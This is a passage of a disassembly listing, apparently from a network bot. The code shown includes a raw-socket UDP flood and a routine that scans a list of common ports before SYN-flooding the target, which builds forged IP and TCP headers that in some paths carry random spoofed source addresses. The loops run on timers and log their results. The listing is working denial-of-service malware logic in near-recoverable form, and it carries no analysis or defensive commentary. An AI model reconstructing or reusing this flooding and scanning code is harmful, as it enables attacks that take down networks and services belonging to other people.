		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
sub_413078	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130EE	proc near		; CODE XREF: sub_413078+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4C987C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_41312C
		lea	eax, [ebp+var_254]
		push	offset unk_4373E0
		push	eax
		call	sub_417D96
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4133F2
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_4130EE+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4C97E0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413158
		call	dword_4C979C	; WSAGetLastError
		push	eax
		push	offset unk_437390
		jmp	short loc_413173
; ---------------------------------------------------------------------------


loc_413158:				; CODE XREF: sub_4130EE+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413187
		call	dword_4C979C	; WSAGetLastError
		push	eax
		push	offset unk_43734C


loc_413173:				; CODE XREF: sub_4130EE+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_4133F2
; ---------------------------------------------------------------------------


loc_413187:				; CODE XREF: sub_4130EE+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4C9800	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4231F0	; inet_addr
		mov	esi, dword_4230A8
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_437320
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4131F0
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_4131F0:				; CODE XREF: sub_4130EE+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_417C89
		cmp	esi, eax
		pop	ecx
		ja	loc_4133A9
		mov	esi, 41Ch
		jmp	short loc_413224
; ---------------------------------------------------------------------------


loc_41321F:				; CODE XREF: sub_4130EE+2B5j
		mov	ebx, 0FFh


loc_413224:				; CODE XREF: sub_4130EE+12Fj
		cmp	dword_4CCFB0, edi
		jnz	short loc_41327C
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C97A8	; getsockname
		push	ebx
		push	1
		call	sub_415759
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	short loc_41328C
; ---------------------------------------------------------------------------


loc_41327C:				; CODE XREF: sub_4130EE+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4CC990
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_41328C:				; CODE XREF: sub_4130EE+18Cj
		push	esi
		mov	byte_4CCB90, 45h
		call	dword_4C9800	; htons
		mov	word_4CCB92, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4CCB94, 1
		mov	word_4CCB96, di
		mov	byte_4CCB98, 80h
		mov	byte_4CCB99, 11h
		mov	word_4CCB9A, di
		call	dword_4C983C	; inet_addr
		mov	dword_4CCB9C, eax
		mov	eax, [ebp+var_20]
		mov	dword_4CCBA0, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4CCBAA, di
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jnz	short loc_413304
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_413312
; ---------------------------------------------------------------------------


loc_413304:				; CODE XREF: sub_4130EE+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax


loc_413312:				; CODE XREF: sub_4130EE+214j
		call	dword_4C9800	; htons
		mov	word_4CCBA6, ax
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4CCBA4, dx
		call	dword_4C9800	; htons
		push	400h
		mov	word_4CCBA8, ax
		call	sub_417DF2
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4CCBAC
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4CCB90
		push	[ebp+var_C]
		call	dword_4C9860	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_413421
		inc	[ebp+var_4]
		call	dword_4230A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_417C89
		cmp	ebx, eax
		pop	ecx
		jbe	loc_41321F


loc_4133A9:				; CODE XREF: sub_4130EE+124j
		push	[ebp+var_C]
		call	dword_4C9894	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_417C89
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_4372BC
		push	eax
		call	sub_417D96
		add	esp, 1Ch


loc_4133F2:				; CODE XREF: sub_4130EE+39j
					; sub_4130EE+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41341A
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_41341A:				; CODE XREF: sub_4130EE+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413421:				; CODE XREF: sub_4130EE+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_437230
		push	eax
		call	sub_417D96
		add	esp, 18h
		jmp	short loc_4133F2
sub_4130EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413446	proc near		; DATA XREF: sub_401AC7+5A8Ao

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4C983C	; inet_addr
		push	eax
		call	sub_4135E0
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_43740C
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4134D8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_4134D8:				; CODE XREF: sub_413446+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_413446	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134F7	proc near		; CODE XREF: sub_4135E0+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_413520
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231F8	; connect
		jmp	loc_4135DC
; ---------------------------------------------------------------------------


loc_413520:				; CODE XREF: sub_4134F7+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4231DC	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C97AC	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4C97E8	; select
		test	eax, eax
		jnz	short loc_413584
		or	eax, 0FFFFFFFFh
		jmp	short loc_4135DC
; ---------------------------------------------------------------------------


loc_413584:				; CODE XREF: sub_4134F7+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41358F


loc_41358B:				; CODE XREF: sub_4134F7+B8j
					; sub_4134F7+DCj
		mov	eax, edi
		jmp	short loc_4135DC
; ---------------------------------------------------------------------------


loc_41358F:				; CODE XREF: sub_4134F7+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4135B1
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41358B


loc_4135B1:				; CODE XREF: sub_4134F7+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4231C4	; getsockopt
		cmp	eax, edi
		jz	short loc_41358B
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_4135DC:				; CODE XREF: sub_4134F7+24j
					; sub_4134F7+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4134F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135E0	proc near		; CODE XREF: sub_413446+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	dword_4231EC	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4CD020, eax
		call	dword_4C97E0	; setsockopt
		mov	esi, dword_4230A8
		call	esi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_413726:				; CODE XREF: sub_4135E0+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4C9800	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4C987C	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4134F7
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4C9894	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_413799
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_413799:				; CODE XREF: sub_4135E0+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_413726
		mov	edi, offset dword_4CD024
		push	offset asc_42EF54 ; " "
		push	edi
		call	sub_417D96
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_4137C6:				; CODE XREF: sub_4135E0+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_41381E
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_4137F7
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp+var_10], eax
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_413811
; ---------------------------------------------------------------------------


loc_4137F7:				; CODE XREF: sub_4135E0+200j
		push	0FFFFh
		push	ebx
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4C9800	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_413811:				; CODE XREF: sub_4135E0+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_4137C6


loc_41381E:				; CODE XREF: sub_4135E0+1F7j
					; sub_4135E0+477j
		push	28h
		push	ebx
		push	offset byte_4CCFC0
		call	sub_417AA0
		mov	esi, 0FFFFh
		mov	byte_4CCFC0, 45h
		push	esi
		push	400h
		mov	byte_4CCFC9, 6
		mov	byte_4CCFC1, 8
		call	sub_415759
		add	esp, 14h
		push	eax
		call	dword_4C9800	; htons
		push	28h
		mov	word_4CCFC4, ax
		call	dword_4C9800	; htons
		or	byte_4CCFC8, 0FFh
		cmp	dword_4CCFB0, ebx
		mov	word_4CCFC2, ax
		mov	word_4CCFC6, bx
		jnz	short loc_41389E
		push	0FFFEh
		push	1
		call	sub_415759
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_4138A9
; ---------------------------------------------------------------------------


loc_41389E:				; CODE XREF: sub_4135E0+2A2j
		push	offset dword_4CC990
		call	dword_4C983C	; inet_addr


loc_4138A9:				; CODE XREF: sub_4135E0+2BCj
		mov	dword_4CCFCC, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4CCFD0, eax
		mov	byte_4CCFE1, bl
		call	dword_4C9800	; htons
		push	esi
		push	ebx
		mov	word_4CCFE2, ax
		call	sub_415759
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_415759
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4C97FC	; htonl
		mov	dword_4CCFD8, eax
		mov	al, byte_4CCFE0
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4CCFE0, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4CCFDC, ebx
		mov	word_4CCFE6, bx
		mov	word_4CCFD6, ax
		mov	dword_4CCFFC, edi
		mov	byte_4CD000, bl
		mov	byte_4CD001, 6
		call	dword_4C9800	; htons
		mov	word_4CD002, ax
		mov	ax, word_4CCFD6
		mov	word_4CCFE8, 2
		mov	dword_4CCFEC, edi
		mov	word_4CCFEA, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_41395F
; ---------------------------------------------------------------------------


loc_41395A:				; CODE XREF: sub_4135E0+451j
		mov	esi, 0FFFFh


loc_41395F:				; CODE XREF: sub_4135E0+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_413993
		push	esi
		push	ebx
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4C9800	; htons
		mov	word_4CCFD4, ax
		mov	eax, dword_4CCFCC
		mov	dword_4CCFF8, eax
		mov	byte_4CCFE1, 2
		mov	dword_4CCFDC, ebx
		jmp	short loc_4139B2
; ---------------------------------------------------------------------------


loc_413993:				; CODE XREF: sub_4135E0+382j
		push	esi
		push	ebx
		mov	byte_4CCFE1, 10h
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4C9800	; htons
		movzx	eax, ax
		mov	dword_4CCFDC, eax


loc_4139B2:				; CODE XREF: sub_4135E0+3B1j
		inc	word_4CCFC4
		inc	dword_4CCFD8
		mov	ax, word_4CCFD6
		push	5
		pop	ecx
		mov	esi, offset word_4CCFD4
		mov	edi, offset dword_4CD004
		mov	word_4CCFCA, bx
		mov	word_4CCFE4, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4CCFC0
		mov	word_4CCFEA, ax
		push	esi
		call	sub_409D76
		push	20h
		push	offset dword_4CCFF8
		mov	word_4CCFCA, ax
		call	sub_409D76
		add	esp, 10h
		mov	word_4CCFE4, ax
		push	10h
		push	offset word_4CCFE8
		push	ebx
		push	28h
		push	esi
		push	dword_4CD020
		call	dword_4C9860	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_41395A
		call	dword_4230A8	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_413A5C
		push	[ebp+arg_8]
		call	dword_423078	; Sleep
		jmp	loc_41381E
; ---------------------------------------------------------------------------


loc_413A5C:				; CODE XREF: sub_4135E0+46Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_4CD024
		pop	ebx
		leave
		retn
sub_4135E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A66	proc near		; CODE XREF: sub_401AC7+67D6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43B9C0
		mov	edi, 0B8h


loc_413A7A:				; CODE XREF: sub_413A66+33j
		cmp	byte ptr [esi],	0
		jz	short loc_413A9D
		push	[ebp+arg_0]
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413A9D
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43C540
		jl	short loc_413A7A
		jmp	short loc_413ADF
; ---------------------------------------------------------------------------


loc_413A9D:				; CODE XREF: sub_413A66+17j
					; sub_413A66+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43B9C0[esi]
		push	ebx
		call	sub_417AA0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_417B00
		push	9Fh
		lea	eax, dword_43B9D8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_417B00
		add	esp, 24h
		inc	dword_4276A0
		pop	ebx


loc_413ADF:				; CODE XREF: sub_413A66+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_413A66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AE6	proc near		; CODE XREF: sub_401AC7+2432p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437454
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43B9C0


loc_413B10:				; CODE XREF: sub_413AE6+72j
		cmp	byte ptr [esi],	0
		jz	short loc_413B4B
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437440
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_417E90
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 2Ch


loc_413B4B:				; CODE XREF: sub_413AE6+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43C540
		jl	short loc_413B10
		pop	edi
		pop	esi
		leave
		retn
sub_413AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B5E	proc near		; CODE XREF: sub_401221+381p
					; sub_401221+402p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_423134	; GetLocalTime
		mov	ebx, offset dword_4D1424
		mov	edi, 80h
		mov	esi, offset dword_4CD424


loc_413B80:				; CODE XREF: sub_413B5E+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_413B97
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_417B00
		add	esp, 0Ch


loc_413B97:				; CODE XREF: sub_413B5E+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_413B80
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_417E90
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BD2	proc near		; CODE XREF: sub_4017E7+F7p
					; sub_401AC7:loc_40206Ep ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_418690
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_413B5E
		add	esp, 14h
		leave
		retn
sub_413BD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BFE	proc near		; CODE XREF: sub_401AC7+232Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CD424
		xor	ecx, ecx


loc_413C05:				; CODE XREF: sub_413BFE+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D1424
		jl	short loc_413C05
		cmp	[esp+arg_C], ecx
		jnz	short loc_413C33
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4374A0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_413C33:				; CODE XREF: sub_413BFE+19j
		push	offset dword_43748C
		call	sub_413B5E
		pop	ecx
		retn
sub_413BFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C3F	proc near		; DATA XREF: sub_401AC7+23DCo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_413C92
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_4374D0
		push	eax
		push	[ebp+var_11C]
		call	sub_408C5D
		add	esp, 14h


loc_413C92:				; CODE XREF: sub_413C3F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_413CB2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_417C89
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_413CB2
		mov	[ebp+var_8], eax


loc_413CB2:				; CODE XREF: sub_413C3F+5Aj
					; sub_413C3F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4CD424


loc_413CBB:				; CODE XREF: sub_413C3F+D4j
		mov	eax, [ebp+arg_0]
